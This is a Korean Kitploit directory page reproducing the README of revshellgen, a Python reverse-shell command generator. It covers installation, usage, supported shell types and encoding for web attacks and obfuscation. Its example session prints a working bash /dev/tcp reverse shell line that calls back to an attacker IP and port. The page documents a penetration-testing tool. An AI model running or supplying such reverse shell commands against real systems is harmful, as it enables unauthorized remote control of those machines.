Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
revshellgen — Python 3으로 작성된 리버스 셸 생성기. | Kitploit
도구/GitHubGitHub/t0thkr1s/revshellgen
Payload GenerationExploitationPenetration TestingCommand and ControlRed TeamingShellcode GenerationPayload Development
GitHubt0thkr1s/revshellgen

revshellgen

Python 3으로 작성된 리버스 셸 생성기.

저장소 보기
565941년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

🚀 RevShellGen

리버스 셸 생성기

Python License Stars

CI Tests PyPI

스타일리시하게 리버스 셸 생성을 자동화하세요
번거로움 없이 리버스 셸을 생성, 인코딩, 캐치하세요


기능 • 설치 • 사용법 • 셸 유형 • 기여하기

📖 소개

RevShellGen은 리버스 셸 명령어 생성을 간소화하는 강력한 CLI 도구입니다. 더 이상 구문을 찾거나, 수동으로 인코딩하거나, 설정에 골머리를 썩지 마세요. 이 도구가 직관적인 인터페이스로 모든 것을 처리합니다.

🎯 주요 기능

  • 🖥️ 대화형 CLI - 사용자 친화적인 메뉴 기반 인터페이스
  • 🔄 자동 인코딩 - URL 및 Base64 인코딩 지원
  • 📋 클립보드 통합 - 생성된 명령어 자동 복사
  • 🌐 네트워크 감지 - 자동 IP 주소 탐색
  • 🎨 다중 셸 유형 - Bash, Python, Netcat, PowerShell 등
  • 🔊 내장 리스너 - 자동 netcat/ncat 리스너 설정
  • 🍎 크로스 플랫폼 - Linux 및 macOS 완벽 지원
  • 📚 TTY 업그레이드 가이드 - 셸 업그레이드에 대한 포괄적인 안내

🚀 빠른 시작

방법 1: PyPI에서 설치

root@kitploit:~
# PyPI에서 설치
pip install revshellgen

# 도구 실행
revshellgen

방법 2: 소스에서 설치

root@kitploit:~
# 저장소 클론
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# 의존성 설치
pip3 install -r requirements.txt

# 도구 실행
python3 revshellgen.py  # 또는 python3 revshellgen_cli.py

📦 설치

사전 요구사항

  • Python 3.6 이상
  • pip (Python 패키지 관리자)

의존성

RevShellGen은 다음 Python 패키지가 필요합니다:

설치 방법

방법 1: requirements.txt 사용 (가장 간단함)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
방법 2: setup.py 사용 (전통적)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
방법 3: 가상 환경 (격리 권장)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate
pip3 install -r requirements.txt
방법 4: 수동 설치
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
방법 5: 사용자 설치 (sudo 불필요)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

플랫폼별 참고사항

🐧 Linux

root@kitploit:~
# python3-dev 설치가 필요할 수 있음
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# 더 나은 리스너 지원을 위해 ncat 설치
brew install nmap  # ncat 포함

💻 사용법

기본 워크플로우

  1. 도구 시작

    root@kitploit:~
    python3 revshellgen.py
    
  2. 리버스 셸 구성

    • IP 주소 선택 (자동 감지)
    • 포트 선택 (예: 4444, 9001)
    • 셸 유형 선택 (bash, python 등)
    • 인코딩 선택 (없음, URL, Base64)
  3. 생성된 명령어가 자동으로 클립보드에 복사됩니다

  4. 리스너 시작 (자동)

  5. 대상 머신에서 명령어 실행

📸 스크린샷


셸 선택

명령어 생성

🐚 지원되는 셸

🔧 고급 기능

TTY 셸 업그레이드

RevShellGen은 이제 포괄적인 TTY 업그레이드 안내를 포함합니다. 셸을 캐치한 후 도구는 다음을 제공합니다:

  • 단계별 PTY 생성 방법
  • 터미널 크기 감지 및 설정
  • 다양한 환경을 위한 여러 업그레이드 기술
  • 일반적인 문제에 대한 문제 해결 팁
  • 빠른 참조 명령어

인코딩 옵션

  • 없음 - 원시 명령어 출력
  • URL 인코드 - 웹 애플리케이션 공격용
  • Base64 - 명령어 난독화용

리스너 옵션

도구는 자동으로 적절한 netcat 변형을 감지하여 사용합니다:

  • ncat (권장, nmap 패키지)
  • nc (전통적인 netcat)
  • macOS 전용 nc 구문 지원

📝 예제 세션

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444

---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...

🤝 기여하기

기여를 환영합니다! 자유롭게 Pull Request를 제출해 주세요. 주요 변경 사항의 경우 먼저 이슈를 열어 변경하고자 하는 내용을 논의해 주세요.

개발 환경 설정

root@kitploit:~
# 포크 클론
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen

# 브랜치 생성
git checkout -b feature/your-feature-name

# 변경 사항을 만들고 커밋
git add .
git commit -m "Add your feature"

# 포크에 푸시
git push origin feature/your-feature-name

# Pull Request 생성

🐛 이슈 및 지원

버그를 발견했거나 제안이 있으신가요? GitHub에서 이슈를 열어 주세요.

📜 라이선스

이 프로젝트는 GNU General Public License v3.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

⚠️ 면책 조항

이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다.

소유하지 않거나 테스트할 명시적 허가가 없는 시스템에 대해 이 도구를 사용하는 것은 불법입니다. 모든 관련 지역, 주, 연방 법률을 준수할 책임은 최종 사용자에게 있습니다. 개발자는 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

🙏 감사의 말

  • PayloadsAllTheThings - 리버스 셸 참조
  • ropnop - TTY 업그레이드 기술
  • PentestMonkey - 리버스 셸 치트 시트
  • 모든 기여자와 사용자

❤️로 만든 t0thkr1s
유용하다면 이 저장소에 Star ⭐를 눌러주세요!
도구 다운로드
패키지용도
pyperclip클립보드 작업
colorama터미널 색상
readchar대화형 키 입력
netifaces네트워크 인터페이스 감지
셸 유형설명플랫폼
BashBash TCP 리버스 셸Linux/Unix
PythonPython 기반 리버스 셸크로스 플랫폼
Netcat전통적인 nc 리버스 셸Linux/Unix
Netcat mkfifo이름 있는 파이프를 사용한 NetcatLinux/Unix
PerlPerl 기반 리버스 셸크로스 플랫폼
PHPPHP 리버스 셸크로스 플랫폼
RubyRuby 기반 리버스 셸크로스 플랫폼
JavaJava 리버스 셸크로스 플랫폼
AWKAWK 리버스 셸Linux/Unix
SocatSocat 리버스 셸Linux/Unix
Socat TTY전체 TTY가 있는 SocatLinux/Unix
TelnetTelnet 리버스 셸Linux/Unix
PowerShellWindows PowerShellWindows